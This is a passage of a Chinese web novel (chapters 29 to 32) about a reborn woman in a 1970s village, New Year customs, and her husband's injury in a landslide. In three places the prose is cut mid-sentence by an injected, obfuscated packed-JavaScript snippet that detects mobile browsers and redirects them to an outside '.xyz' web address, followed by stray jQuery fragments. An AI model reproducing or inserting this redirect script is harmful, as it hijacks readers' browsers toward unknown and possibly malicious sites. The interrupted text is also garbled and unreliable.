“可以的,安全,我们四辆车,六个人,再加上我媳妇。这事我已经跟队里说了,而且我们也不是为了玩,我以前战友在市里,我们关系好,上次他和他媳妇请我吃饭来着,我结婚的时候他人虽然没来,但是随了礼,现在他在市里我打算跟我媳妇一起请他吃个饭。” “奥,你那个战友啊,那人挺大方的,你们俩记得好好跟人处,那人我瞧着挺不错的。”谢母半是回忆半是说。 吃完饭,应晚真和周久迟回屋之后,周久迟才又解释,“媳妇,我自作主张你不会怪我吧。” 应晚真张了张嘴,这事她本来也不在意,但是看周久迟这模样,明显就是打算好了的先斩后奏,而且他还一脸忐忑的模样,这汉子,真的是一天不打就上房揭瓦…… 她忍住自己的表情,把眉头也皱了起来。 本来觉得自己媳妇不会生气的周久迟顿时心里一上一下了,脸色也由本来装模作样的忐忑变成真的不安。 应晚真看着周久迟的嘴唇都开始抖了,脸色也有点发白了,这才放松了自己的表情,“你这是打定好了我不会怪你,所以就自己先决定了!” 听见这话,周久迟的心瞬间稳了不少,不过还是悄悄浮在半空中,“媳妇,不是,我本来刚刚想跟你说的,但是刚刚说起给爸妈和大哥的年礼还有你又给我泡蜂蜜茶,我一下子就忘了,刚刚饭桌上想起来,我就跟家里先说了……” 应晚真看着周久迟紧张的模样,知道他是真的在乎自己的意见,也没继续吓他,只是仍然是一副严肃的模样,“我知道了,乍一听到我是有些意外,你以后有事记得提前告诉我,大事要和我商量。我是你的妻子,我们是一体的,没道理什么事都是我最后才知道,这样我们才能长久在一起。” 说完,应晚真抬头认真地看向周久迟的眼睛,轻声问他,“你想和我长久在一起吗?” 周久迟看着面前一字一句认真说话的应晚真,他看见了应晚真眼里的自己,顿时原本有些放下的心一下子又蹦起来了。 已经很久没在应晚真面前结巴过的周久迟,这次又像是第一次见到应晚真时那样,突然脑子一片混沌,不知道自己该干些什么。 他潜意识知道自己不能这么混沌下去,但是深呼吸之后仍然不够清醒。 “周……” 就在应晚真想唤周久迟名字时,周久迟猛地反应过来,用嘴堵住了应晚真即将说出来的话。 周久迟的嘴巴现在已经有点不受自己控制了,他想告诉应晚真,他愿意他非常想永永远远和应晚真在一起,但是不知道为什么,他控制不了自己的嘴,说不出话了。 可他不想错过这次机会,所以只能用这张没用的嘴堵住晚真的。 应晚真突然被吻,人很温柔,但是渐渐地从只是触碰慢慢地开始深入,很快,应晚真整个人就软在了周久迟怀里。 周久迟搂着应晚真。 过了好一会儿,两人才松开,应晚真在周久迟怀里喘着气,耳朵里听着他砰砰的心跳声,只觉得世界都安静了。 “晚真,我想特别特别想,和你一直一直在一起。只要你愿意,我们肯定一要一辈子都在一块儿的。”除非你不要我了…… 说最后一句话的时候,周久迟环过应晚真,带着隐忍和坚定。 应晚真被面前的周久迟给惊到了,他额边流着汗,应晚真被握住的肩膀也感觉到对方手里的重量,她知道,他现在很不安,而这句话也是他前世一直坚持的。 “只要你做到我之前说的,我们会一直在一起的。” 周久迟看着面前的人一字一句地说,顿时觉得自己心里踏实了很多,“我能做到。” * 第二天,是大年二十五,家里要做豆子粄,应晚真和周久迟则是去了一趟县城,他们把要给家里寄的东西都寄了出去,如果不出意外,那么正月初六左右可以收到,再不济,正月总能收到吃上。 因为二十六要一起去市里,两人也没在县城多待,也就在饭店吃了一碗面便回家了。 等第二天,应晚真便跟着周久迟一起去了市里。 跟周久迟说的一样,六个人,还有一个人也带了自己的媳妇,不过两人没坐在同一辆车上,所以也没怎么说上话。 到市里的时候下午四点了,一伙人在运输队里吃了中饭,就自由行动了。 周久迟带着应晚真去了市里的百货大楼。 应晚真琢磨着去战友家里要带些什么合适,但是周久迟直接把人拉到了女装店铺里,“媳妇,你看看你喜欢哪件,马上过年了,得置办新衣服。” “给我买?可是我有过冬的衣服了,不用买了。” 周久迟不同意,非要应晚真试。 其实应晚真并不在意这些衣服,最重要的是她觉得这衣服并不好看,但是周久迟很坚持。 “要不你看看那件毛呢大衣?红色的多好看!” 应晚真顺着周久迟的视线看了看,突然有点害怕要是自己继续拒绝,他会不会直接把那件衣服买回家啊,那件衣服虽然在这里看起来不错了,但不是应晚真喜欢的,尤其是那个颜色,它不是正红色,而是有点偏橘的那种。 “不了吧,我有两件大衣了,一件以前的还有一件我大哥给我寄的军大衣。”说着,应晚真指向边上的毛衣架,“要不然买件毛衣吧,我觉得穿件毛衣比较保暖。” “行,买两件。” 应晚真看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488906|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板着脸认真看着自己的周久迟,笑了。 “你放心吧,不会给你省钱的。” 最后应晚真买了一件白色的毛衣,还有一件蓝白色马甲,都是她喜欢的,而且非常好搭配。 应晚真也给周久迟挑了一个围巾,“你出门得戴着,出门风大,脖子会灌风。” 周久迟本想拒绝,毕竟自己是个男人,弄个围巾像什么样子,不如买给自己媳妇,但是转头又听到应晚真说,“我回去要把我俩的名字在围巾上绣上去,这样你以后围出去,别人看到就知道你是有主的了。然后我就可以用围巾把你围住!” 顿时,周久迟心里就像炸开了一朵花。 看向围巾的眼神也开始不舍起来。 这条围巾用的是应晚真的钱,为此周久迟还不高兴了一会儿,直到应晚真说,“这是我送你的第一份礼物,用你的钱怎么合适,我就想给你花钱。等会儿你给我买我想要的就好。” 周久迟一听就想给自己花钱心底就高兴,嘴都要咧到耳根了,自然也没拒绝应晚真的付钱。 两人在市里又买了些糖果当做过年的年货,再去国营大饭店请周久迟说的那位朋友吃饭。 这位朋友叫林庆,也是运输队的司机,只不过属于市运输队的,现在的运输队市里和县里都是同属一个部门的,算是同事,两人都曾经是军人,慢慢地就处成了好友。 周久迟结婚那次林庆要出长途,这次终于大家都有时间了,就请他到国营饭店吃一顿。 林庆个子也很高大,看起来就是很爽朗的一人。 几人吃了顿饭,侃了会儿大山,因为第二天还要开车,几人就互相告别了。 两人住在招待所,现在的招待所的热水只能自己去打,因为天气冷,也不太方便,两人今天都没洗澡,只能将就泡个脚。 但周久迟来来回回还打了四壶热水回来。 应晚真还以为周久迟要干啥,等到睡觉的时候,她才知道周久迟打的什么主意。 等两人收拾好,应晚真抚了抚肚子,自己一直没有避孕,前世自己的孩子是在76年年底来的,但前世自己和周久迟是75年夏天才在一起,现在才快到75年而已。 * 第二天,因为车队还没那么快出发回去,两人又逛了逛市里的早市,这里的早市还是比较热闹的,尽管只能这几天摆一摆,可人还是多得很,毕竟像现在这样可以光明正大交换东西的机会可不多。 当然还有不少人拿自己做的吃食出来偷偷卖,两人吃了个饱,这才掐着时间到运输队集合。 好几个人都是大包小包的,应晚真两人还算是少的,也就是给家里买了点过年糖果而已,其他人各种锅碗瓢盆,一摞一摞的,应晚真看着就头皮发麻。 “我这是家里都需要,还有亲戚啥的也要,好不容易来趟市里,就多带一点回去。”兴许是看出应晚真的疑惑,那位妇人特意解释道。 “是啊,能把家伙什一次置办齐了那也方便。” 两人随意聊了聊便各自坐上男人的车回去了。 因为要开好几个小时的车,而且中途只有一次停车的机会,应晚真担心周久迟挨饿,时不时还给周久迟投喂一些路上买的馒头和饼干。 30. 第 30 章 出完这趟车,周久迟就算是放假了,等到年后才有那么几趟车要出,而且也会轻松许多,等到春种的的时候才会稍微忙一点。 第二天就是腊月二十八了,周家村的规矩是这天要做豆腐和米糕,一般都是几家人一起。 周家和周大伯家一起做,毕竟是两兄弟。 一起凑了八斤黄豆,还有十斤米,黄豆是做豆腐,十斤米用来做米糕。 这些做好之后都是过年时候要吃的,等有人来拜年也是要给别人吃的,所以大家都会备一点。 因为米是精细粮,一些人家就会换成其他的,也不拘于要什么,主要是要有那个氛围。 应晚真被分到做米糕,她不会,最后被分到厨房开火的活。 周久迟则是把家里的柴火砍了砍,收拾一下,预备着过年那几天用。 米糕做好是软的,可以自己蘸白糖或者蘸酱油吃,看个人口味,应晚真两种都吃了吃,最后还是觉得甜的符合自己的胃口。 大年三十,虽然现在家里都不富裕,但是家里还是杀了一只鸡,半只用来炖汤,还有半只直接白切,还有腊鱼,也切了一条,还有一些时蔬,今年的年夜饭算是很丰盛的了。 而且家里的小辈也收到了一两毛的零花钱。 村子里的规矩不重,但守夜还是深入人心的,大家一起待到了大晚上,等天快要放亮了,大家放完鞭炮才回去睡觉。 但也睡不到几个小时又要起来,因为家里会有人来拜年了,家里肯定要有人,而且得给来拜年的小孩准备花生瓜子啥的。 至于糖果,都在谢母那里放着,每个小孩只能拿一颗,多了没有。 应晚真除了去拜年,剩下的时间要么和周久迟一起,要么和堂嫂们一起聊天打发时间。 这里的冬天不怎么下雪,可是依旧很冷。 一家子围着炭火聊天,应晚真在边上认真听着,偶尔附和。 现在大家伙已经不排斥应晚真了,应晚真自己也渐渐自在起来。 当然在这段时间的相处中,应晚真也发现原来这里的人也并不是自己记忆里那样的冷漠自私,虽然大家都有属于自己的小心思,但是却并没有那么绝对的坏。 大家唠嗑得差不多就各自回家了,应晚真这次没等到周久迟,一般来说,自己出来最多两个小时他就来找了,找了之后要么陪应晚真再坐一会儿,要么就一起回家了。要说回家有什么事,那自然是没有的,但是周久迟就是喜欢去把应晚真找回来,一找回来也不拘于做什么事。 当然更多时候周久迟只是看着应晚真,也有很多时间他喜欢动手动脚,不是碰碰应晚真的脸就是摸摸她的手,除了这些,偶尔看着家里没人还凑过来亲应晚真的脸。 尽管应晚真自己觉得有点烦,但心里还是高兴的。 今天也不知道怎么回事,已经两个半小时也没见周久迟的身影。 等到了家门口,才看到送大堂哥周久中出来的周久迟。 “弟妹啊,新年好啊!” 应晚真早就露出了一个笑,“大堂哥,新年好!” 周久中也没多待,他打完招呼就离开了家里。 倒是周久迟一看见没人了,马上凑到应晚真面前,拉起应晚真的手就是一顿搓,“冷不冷?怎么不等我来接你!来,快进屋,屋里炉子还有呢!我刚盖上想去接你。” 应晚真心里暖暖的,身子也是暖和的,“也就手有点冷了,其他没什么。” 她跟着周久迟一起坐在炉子边,现在家里就他们俩。 “怎么了,刚刚看大堂哥表情不怎么样,是有什么事吗?” 周久迟叹了口气,“就咱们村尾那家的,他家男人去年中的时候摔断了腿,本来日子过得还不错,结果现在一下子少了个劳动力,那男人因为摔断了腿,这大半年都在床上养伤,前几天,他媳妇说是要回娘家一趟,结果一直没回来,后来才发现他媳妇拿走了家里的一百多块钱跑了。” 应晚真听完有些唏嘘,一时不知道该说些什么。 “现在家里有老的有小的,小的也才四岁,那一百多块钱还是前段时间公社给的,现在全给这女人拿走了。昨儿个他们就去那娘家要人了,但是她娘家那边也没人认,现在还不知道怎么办呢,他家男人因为这事更重了,大堂哥这次过来就是挨家挨户看看能不能帮帮忙,都是一个村的。” 应晚真点点头,“那这事后面该怎么办?” “公社应该回出动了,毕竟这也不是什么小事,这女人肯定得找回来,她偷跑的也没个证明介绍信的应该也走不到哪里去。” 两人说着这些事,又去泡了些蜂蜜茶…… 很快就是正月十一了,正月里都是大家休息的时候,当然有工作的人正月初二就要上班了,周久迟这个工作比较特殊,因为是开车,不用运货的时候就可以在家,这也是周久迟在家里待了这么久的原因。 但是马上他就要出车了。 这次他去县城还要帮应晚真寄信,因为在初八的时候,应晚真又收到了自己大哥的包裹,全是一些精贵的点心,什么巧克力,桃酥饼干,榛子松子还有一大袋板栗,这些都是应慕白军区那边有的干货,还有酒心糖,每个包装都很好看,邮递员来送快递的时候,正好一伙人在周家坐着聊天。 应晚真看了信知道只是一些吃的,也就随了大家的意当面打开了。 因为每个包装都很精致,量也不是很多,除了干果,所以应晚真就抓了几把干果给大家尝尝,这些干果都是个大饱满的,每个都很香,还有股奶味。 周大娘拿了一个吃很是赞不绝口。 其他人也知道这东西精贵所以也就意思意思吃了一两个。 但也就这一点也让应晚真在村子里出了名。 “周老三媳妇她家里给她寄了不老少吃的,一个个拆开来可好看了,一看比供销社里面的大白兔奶糖还贵……” “比供销社的大白兔奶糖还贵?那是多贵?” “这我哪里知道,听说还是外国货,要外汇票的。” “啥?外汇票?我的老天爷啊,那东西可贵吧。” “那不是,那一包裹我看了,最起码四五样东西,还有什么巧克力,一看就很贵。” “不是说,她家里是牛鬼蛇神吗?怎么还有这个钱买这些,不会是投机倒……”一个四十来岁的妇人低着声音说。 周大娘听到马上暴脾气就上来了,“你少在这里吃不到葡萄就说葡萄酸。周三娃子媳妇她大哥可是当兵的,据说职位可不低,每个月拿的钱就不老少了,再说了,今年是自己妹子出嫁第一年,他当大哥的没来,这下关心自己的妹子,寄点年货怎么了?” “啥?她大哥是当兵的,那咋说她家是牛鬼蛇神呢?” “好像是她爸妈是……” “我也不懂,家里是牛鬼蛇神还能当兵?” 周大娘也不懂,但是她知道不能让那些人继续胡咧咧下去了,“她爸妈那是她爸妈的事,她大哥就是当兵的,据说职位还不低呢,不然怎么会寄那么多东西过来。再说了,人家哥肯定在乎这个妹子的,不然也不会千里迢迢过来寄这些年货。” “好像是,好像是当兵不关牛棚那些人的事……”这会儿也有人附和。 “管他呢,反正又不是咱们亲戚,不过她大哥真的职位高,那怎么不给她弄个工作?” 周大娘看见这人就烦,要不是人多她都想薅人家头发了。 不过还没等周大娘说话就有人插嘴,“说你脑壳少一块你还不信,都说了人家爸妈是牛鬼蛇神,那肯定是不能有工作的了,就算她大哥是当兵的那又怎么样?” 被骂的那人脸上也不好看,因为是大过年的大家也不好吵架什么的,所以一伙人就这么散了。 但是应晚真家里有个大哥,是个当兵的,还给她寄了不少好东西这事就这么在村子里传开了。 这次应晚真也准备了不少东西寄给自己大哥大嫂,虽然应慕白信里写着不要她寄东西过来,可应晚真也不愿意总是让大哥照顾自己,而且大嫂也生了,生了个男孩。 周家村确实也没有什么好的物资,只能又去弄了点红枣,还寄了一双虎头鞋,两身用棉布做成的小衣服,另外还寄了六尺布,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494459|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些布票还是之前剩下的,让大哥大嫂自己看着做成什么。 除了这些,应晚真还找了那个卖棉花的大娘,又买了五斤棉花,一起寄到了大哥那。 大哥那边冷,也不产棉花,如果有的话,肯定也是需要的。 除了这个就是自己爸妈的了,应晚真也寄了一封信去报平安,还有红枣,四双鞋子,其中两双是有棉花的,另外两双没有,爸妈的包裹里还有两条腊鱼,一大包枸杞。 周久迟出车之后,家里还是继续休息到元宵。 距离元宵越近,串门的就越少了,大家都在自己的院子里忙活。 应晚真把小年才洗的被单拿出来洗了,本来一切相安无事,但是又被孙盼娣阴阳怪气了。 “三弟妹真是闲的,不是洗被单就是洗被单,也不知道干了什么……” 应晚真听着她的嘟嘟囔囔就火大,“是啊,不像你,忙得连天天睡觉的被单都没时间洗,也不怕身上起疹子!别搁被窝里养跳蚤吧。” 说着,应晚真像是看见了孙盼娣身上的跳蚤了一样,马上离得远远的。 孙盼娣虽然气但是她这几天有些不舒服,说不准又怀孕了,只是还没确定,小儿子又闹她,她也就只能拉着自己男人周久建撒气。 这些应晚真就不管了,她只需要做好自己的事就好了。 不过元宵那天中午,厨房那边就开始叫嚷了。 应晚真在屋子里竖着耳朵停了半宿,只知道孙盼娣一直骂骂咧咧的。 没等多久,周久迟就进屋了,一进屋就看见应晚真这竖起耳朵的模样,顿时他就笑了。 应晚真只觉得莫名其妙,不过她也没问,因为周久迟总是看着自己笑。 “怎么了?老二家那边又是怎么了?” 周久迟看着应晚真默默皱眉的样子,也敛起了脸上的笑意,“还不是老二家的,好像一直不给孩子洗澡,就除夕那晚上给孩子洗了吧,现在孩子天天在身上挠。” 应晚真听着忍不住笑了,“那娘是干什么?” 周久迟看到应晚真的笑这才没那么不高兴,因为他知道自己媳妇爱干净就怕她听到这事会嫌弃自己,不过现在心却是放下了不少,“我娘一看到几个孩子全在挠,皮都挠破了,生气呗,还有这正月里不能发的脾气就一起发了呗。” “媳妇,你为什么笑啊?”周久迟偷偷凑近应晚真,半搂着她。 “也没什么,就是你出车的第二天我又把我们床单和被子给洗了,然后二嫂看见就说我闲的没事干,说……”应晚真对周久迟翻了个白眼,继续说,“说我们天天不知道干些什么,洗床单洗那么勤,一直嘟嘟囔囔的。” 这下周久迟的老脸是真的红了,但是红了之后却是对自己这个二嫂越来越看不上眼了,这还是个人嘛,什么话都往外说,也不管好坏。 周久迟可以观察了一下自己媳妇的神色,见她没什么异样,这才稍微放下心来。 “媳妇,委屈你了。” 应晚真被周久迟的胡茬蹭得脖颈难受,“起开,别老凑我那么近。”说着又哼了声,“你知道委屈我了那我这委屈也不算白受,不过我可告诉你啊,以后要是她再继续这样不着调,我可不管她是不是你二嫂。” “我知道,我媳妇是最好的,有人欺负你你欺负回去就成,反正出了事还有我呢,其他人管那么多干什么。” 虽然也没什么实质性的表示,不过应晚真确实开心了不少。 “对了,媳妇,我打算给咱村口那家人两块钱……” “村口?那个瘫痪的?他媳妇找到了吗?” “没呢,已经报上去了,也不知道去哪里了。” “给吧,这是村里的决定?” “是,队里也出钱,要不是病更重了,村里也不会出手。现在他药也不能断,不过去陈伯那里配中药便宜点,他娘就只去那里配中药了,也就现在出点钱,让他们度过这次难关,以后他们吃药什么的就自己去弄了。” 应晚真点点头没再说话,这事是大家都没法预料的,现在也只能在不影响自己的情况下给予一些帮助了。 31. 第 31 章 元宵过完这个年就算是过完了,地里也要开始干活了。 周久迟这次要去出长途,说是去省城,省城离这里属于一南一北,还有不少货物要拉过去,所以时间就要多一些,预计得要大半个月才回来。 应晚真不知道为什么,一知道这个消息,心里就总是不安。 周久迟看出了应晚真心里的焦虑,“咋了,媳妇,现在的活也不重,平日里你随意上上工就行了,我已经跟大伯说了,给你轻省的活,干了会儿就休息,我挣得钱够咱们花了。” 应晚真闷闷地点头,其实她并不是因为这个,只是不知道怎么回事心里就是惴惴的,印象中前世他好像从来没有出过这么远的车,这次怎么会去省城呢? “这次怎么要这么远,以前省城的货也是你们去吗?” “是啊,我们运输队一直都要去啊,”说着,周久迟又继续补充,“不过有些家里困难有事的,可能就不怎么跑长途。” 说着说着,周久迟就有点犹疑了,“媳妇,你自己在家可以吗?” 应晚真这下也明白为什么前世他没有去,但是今生要出车到省城了。 “放心吧,我在家里可以的,而且还有爹娘在呢。” 周久迟听着也笑了起来,“等我回来给你带好吃的,这次去省城也有一些补贴。” 后面这句话是他小声贴着应晚真耳朵说的。 应晚真的耳朵被他呼出的气弄得痒痒的,她挣扎着避开,“好了,我知道了,你记得开车的时候要小心就是了,反正最重要的就是注意安全。” 周久迟应了之后转而提了其他事,“对了,咱们村子可能过几天有市里地质队的过来,听说是鱼塘那边的路不好了,得让他们看看。” 应晚真一下子就被吸引了注意,这件事她之前隐晦的在大队长面前提过,然后等周久迟在家的时候也跟他说过,没想到他们动作还挺快,刚过完年就找人过来看了。 “过段时间也还是冷,倒春寒会更冷,而且下雨,到时候记得多穿点衣服。” “你也是,下雨的话,你开车要小心一点,还有你开车要小心路上的山土坡什么的,小心下雨山体滑坡。” 周久迟点了点应晚真的鼻头,“知道了,管家婆。”说着,又偷偷在应晚真脸上亲了一口。 应晚真半推半就的推了他一下,没推动,也就随他去了。 等运输队出发之后,应晚真也开始跟着村子里继续上工挣工分了,她自己确实挣不到多少工分,但是怎么说也得干活。 她自己的钱满打满算还有一百来块,上次过年的时候她大哥给她寄了五十块钱,除了这段时间花的比如买棉花买布什么的,现在她身上还有一百块的样子。 虽然这一百块可能不算少了,但也确实不经花,更何况也不能一直等着自己的哥哥给自己钱,现在大哥需要花钱的地方多了去了。比如嫂子和侄子,侄子刚生下,肯定要一些开销,还有爸妈那边,大哥肯定要照顾照顾的,再加上大嫂的父母那边,那边现在也在建设农场,估摸着也不好过,所以不能总是麻烦大哥。 正想着这些,应晚真就看见了大伯带着好几个陌生面孔过来了,等到近了点,她才从几个人的对话中发现原来几个人就是公社派下来的地质人员。 周家良和地质人员经过应晚真的位置之后多看了她几眼,应晚真直觉告诉她,这与当初她暗示山有问题有关,不过应晚真只是像往常一样和周家良打了个招呼。 等到几人走远,她才继续今天的活,她今天分到拔草的活,这块地不大,草也多,但是特别好拔,因为心里藏着事,所以她手下的动作特别快,连一旁经过的大小媳妇看到都不禁吓一跳。 “这应知青其实干起活来还算是不错,你看这麻利的……” “应知青一直都挺实在的,你看她什么时候干着干着就说自己不舒服不干了的,虽然她也有请假的时候,但是只要干活就是认真干了的。”另一个人说着自己的看法,“你看看那个王知青,天天嘴巴上说的好听,但是干起活来就跟没吃饭一样,天天让其他人帮忙干,一看就是个好吃懒做的。” …… 应晚真没注意这些人闲聊,她只想尽快把今天要干的活干完,干完之后有机会可以去鱼塘那边看看,虽然她知道自己可能做不了什么,但是她还是想去看看,如果没记错,那里应该是出了点事的,但是具体有什么事,应晚真倒是想不起来了,前世她没注意这些,所以也不太清楚,只是脑子里有这么个印象,这还是昨天才突然想起来的。 等拔完草,应晚真让记分员检查完之后才往鱼塘那边过去。 鱼塘那边也有不少人忙活,不过也有很多人正在观察队长和一些过来的人。 这些人拿着工具正在勘探这里的地形地质之类的,应晚真没有走近,只是远远看着。 等到后面几天,村长那边就传来了消息,说是这里需要整改,因为这里的土质已经松了,再继续下去很可能坍塌,这山的下面毕竟是路,要是再有人路过的时候坍塌那可不好办了。 大家听了也是议论纷纷,不过总归没出什么事,没出什么事现在上面也有人安排整改。 应晚真也松了一口气。 倒是在开工的那天,村长特意过来了。 “老三媳妇,你以前家里是干什么的啊,我看你好像对地挺熟悉。” 应晚真没打什么马虎眼,“我家里有学地质的,从小耳濡目染懂一点。” 她没问周家良为什么要问这个话,但是两人不约而同的没提。 周家良听到这个话也没说什么了,只是点点头,转而说起其他话题,“最近的活干得怎么样,还习惯不,老三出车的时候特意来找我,说你身体不太好,所以给你分配些容易的活。” 应晚真知道大伯的意思,“大伯,多谢你的照顾了。” 周家良摆摆手,“好说好说,你跟着老三一块儿好好过日子就行。” 应晚真笑着嗯了一声,没说别的,和这类似的话她已经听过不少了,一般她也不回应什么,用时间证明就好了。 * 过了几天,就开始了一场又一场的雨,整个天都是灰蒙蒙的,村里人都去放水去了,担心把地给淹了。 应晚真没什么事,每天就在家里待着,除了读书就是写字,当然还有一件事就是想周久迟。 另一边的周久迟又何尝不是呢,他在休息的时候就总是想起应晚真,想起她对自己笑的模样,想起她和自己在一起时候的模样,还有初见时看到她的模样。 周久迟躺着想了很久,直到实在要睡觉了,他才愿意去睡觉。 这天,天气终于放晴,也没那么大的雨了,应晚真想着去趟县城看看有没有什么好东西,方便到时候寄给爸妈,也正好在县城逛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504406|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逛。 天气还是冷的,有点倒春寒那味。 应晚真穿得厚厚的,走得久了身上暖暖的,非常舒服。 到了县城她路过国营饭店的时候买了一个葱油饼,闻起来很香,吃起来就更香了,应晚真想着下次和周久迟一起来县城这样两个人一起吃葱油饼,这饼的味道周久迟应该也会喜欢的。 现在他还没回来就不买回去了,家里人多,买了都不够分的,就算买了足够分的量,孙盼娣还是会阴阳怪气或者怀疑应晚真偷偷吃了其他更好的回来,既然这样,那不如就都不买了,而且这葱油饼也不便宜,一大家子人也需要花不少钱了。 这时候地里说有活也有,但是也不是那么着急,应晚真选择这时候来县城也是因为上了好几天工,想着躲懒的,所以这时候她也不急着回去,但是也没多逛,只是到处走了走,看了看。 然后慢悠悠的往回赶。 她脚程不快,更多的是边走边歇。 等到她快到家的时候,已经午饭过后了,应晚真本来就没打算在家里吃饭。 但是等她到家门口的时候,却发现自家门口竟然有很多人,还有低低的哭泣声。 应晚真心里顿时生出了不好的预感,她赶忙进去,就看见一个大高个子的人,她认得,是当初一起去市里时周久迟运货时见到的市运输队司机,林庆,再加上其他人若有若无那可惜的眼神,应晚真的心突然颤了颤,一股子不好的预感突然升起。 “林同志,你怎么在这,是发生什么事了吗?” 应晚真没意识到自己的声音有一点抖。 林庆也没在意,他皱着眉,把刚刚说过的话又再说了一遍,“周同志不小心被塌方的土给压了,昨儿个刚送去市里的医院,我来的时候还在抢救。” 应晚真的心一下子跌倒了谷底。 她脑子一瞬间一片空白,她使劲用力才把周久迟在抢救的信息灌入脑子里。 抢救? 应晚真拼命让自己稳下来,这时候谢母也过来,“老三家的……” 应晚真听到这话也没什么反应,现在的她脑子一团乱麻,她正在让自己冷静下来。 “林同志,那现在他还在抢救?医生有说怎么样了吗?现在需要怎么办,我收拾东西去医院,他的换洗衣服,钱,介绍信……”应晚真一样一样数着自己需要的东西,说道介绍信的时候看向了村长,介绍信需要他开。 应晚真现在理了理思绪,虽然还是慌乱的,但好歹知道自己需要干什么。 抬眼一看,谢红英还红着眼,人看起来也比早上她出门时看见的苍老了不少。 “娘,你先别担心,我收拾东西去看他,照顾他,有消息我第一时间告诉你们。” 谢红英点点头,“我也去,我也去,我也收拾东西去。” 谢红英慌里慌张的,林庆本想说不需要那么多人,但是话到嘴边还是咽下了,毕竟周久迟被挖出来的时候整个人昏迷不醒的,一身都是血,也不知道现在情况怎样,要是不好,那现在全家人一起去看看也是好的。 应晚真不知道被塌方的泥给压了是多严重,只知道现在她要收拾东西去医院,不知不觉中,应晚真的视线就模糊了。 她抬手一擦,才知道自己哭了,可一想到周久迟可能还在医院等着自己,这时候她也不计较什么了,直接手背一抹,擦干眼泪,继续收拾东西。 32. 第 32 章 周家良也跑着到了大队部把几个人的介绍信给开了,“记得小心啊,久中,你觉得好好照看你叔婶他们。” 大堂哥忙不迭点头,跟着林庆就一起走了。 应晚真拿着钱跟着周父周母还有堂哥他们一起去医院,一路上,应晚真都没说什么只能看见她盯着前方一动不动。 谢红英的整颗心也不上不下的,她眼里还时不时冒出点泪花,但是在看到应晚真的表情时,顿时憋回去了。 其实她除了担心自己的儿子,还有一件事她也担心。 自己这个儿媳妇本来就不愿意嫁给自己的儿子,以前没出事的时候就不愿意,虽然后面愿意了,可现在自己儿子出了事,又不知道现在情况怎么样,所以她心里真的没底,连带着眼里的泪花都有点流不出来的感觉了。 应晚真这时候也没心情顾别人,更不知道现在谢母心里的想法。她现在觉得有点不真实。明明上一世周久迟什么意外都没有,为什么这次会发生这样的事呢?与其说现在的应晚真很淡定,倒不如说她现在依然不相信周久迟会出事。 现在的汽车速度不快,路也不算平,应晚真坐在车里颠簸,往常她可能会觉得这样的环境难受,但是现在她已经没有心思去想这些了。 …… 医院。 “病人他腿部神经受损,现在只是初步治疗一下,后面怎么治疗还需要看看病人的情况。” “医生,你这是什么意思啊?” “病人的腿情况不好说,还需要在观察一下,看后面的恢复情况。” 应晚真听到这个心稍微安了安,前世他就是没事的,这辈子也一样不会,既然需要看恢复情况,那一定就会没事的。 而谢红英一听到这个,心顿时一凉,“看恢复情况?那怎么叫恢复好了啊?” 医生看到几人都露出着急担心的眼神,便也直说了,“他的腿被压在石头下时间有点久了,具体情况得等他醒来后,如果不好的话,以后他的腿可能会不方便。。” 应晚真站在谢母身边,也算是心里有数了。 “对了,记得把费用交一下。” 谢红英本来就因为知道自己儿子可能以后腿脚不方便就有点不能接受,但是现在只能先把费用给交了。 应晚真知道现在不是去难受担心的时候,现在更多的是把事情往前推进。 “娘,先别难过,我们还要等久迟醒来,得照顾他呢!” 谢红英用手背狠狠擦了一把自己的眼睛,“你说的是,还得等三儿醒来呢!得等三儿醒来呢……” “对了,缴费,缴费……” 谢红英喃喃着,马上掏兜打算把钱给交了。 林庆看见了马上说,“因为这次是公司运输时候出的事,而且又是因为下大雨,所以公司里已经把费用给结一部分,总共是两百块。大娘,还有弟妹,你们自己带的钱就这段时间在这里自己用吧。 “看久迟应该要住一段时间院,我先带你们去买点生活用品吧。” 应晚真点点头,看向了谢红英。 “那你先跟着林同志去买点要用的,我在这里等等,看老三什么时候醒过来。”说着,谢红英也掏出了五十块钱给应晚真。 应晚真知道谢红英现在也没其他的心思,所以也就跟着林庆一起去了供销社,她买了一个盆,毛巾,牙刷之类的,还有搪瓷缸。 除此之外,林庆带应晚真去了他附近的一个房子,“弟妹,这是我家一个房子,平常也没人住,这段时间,你跟大娘累了就来这里休息一下。医院里人来人往的也不方便休息,现在也不知道久迟醒过来是个什么情况,这里边也有厨房,里面也有柴火,你们就先住着,我就住在这隔一条街的马尾巷13号,到时候有什么事直接去找我就行了。” “这真是太感谢林同志了,我家久迟这次多亏你了。” 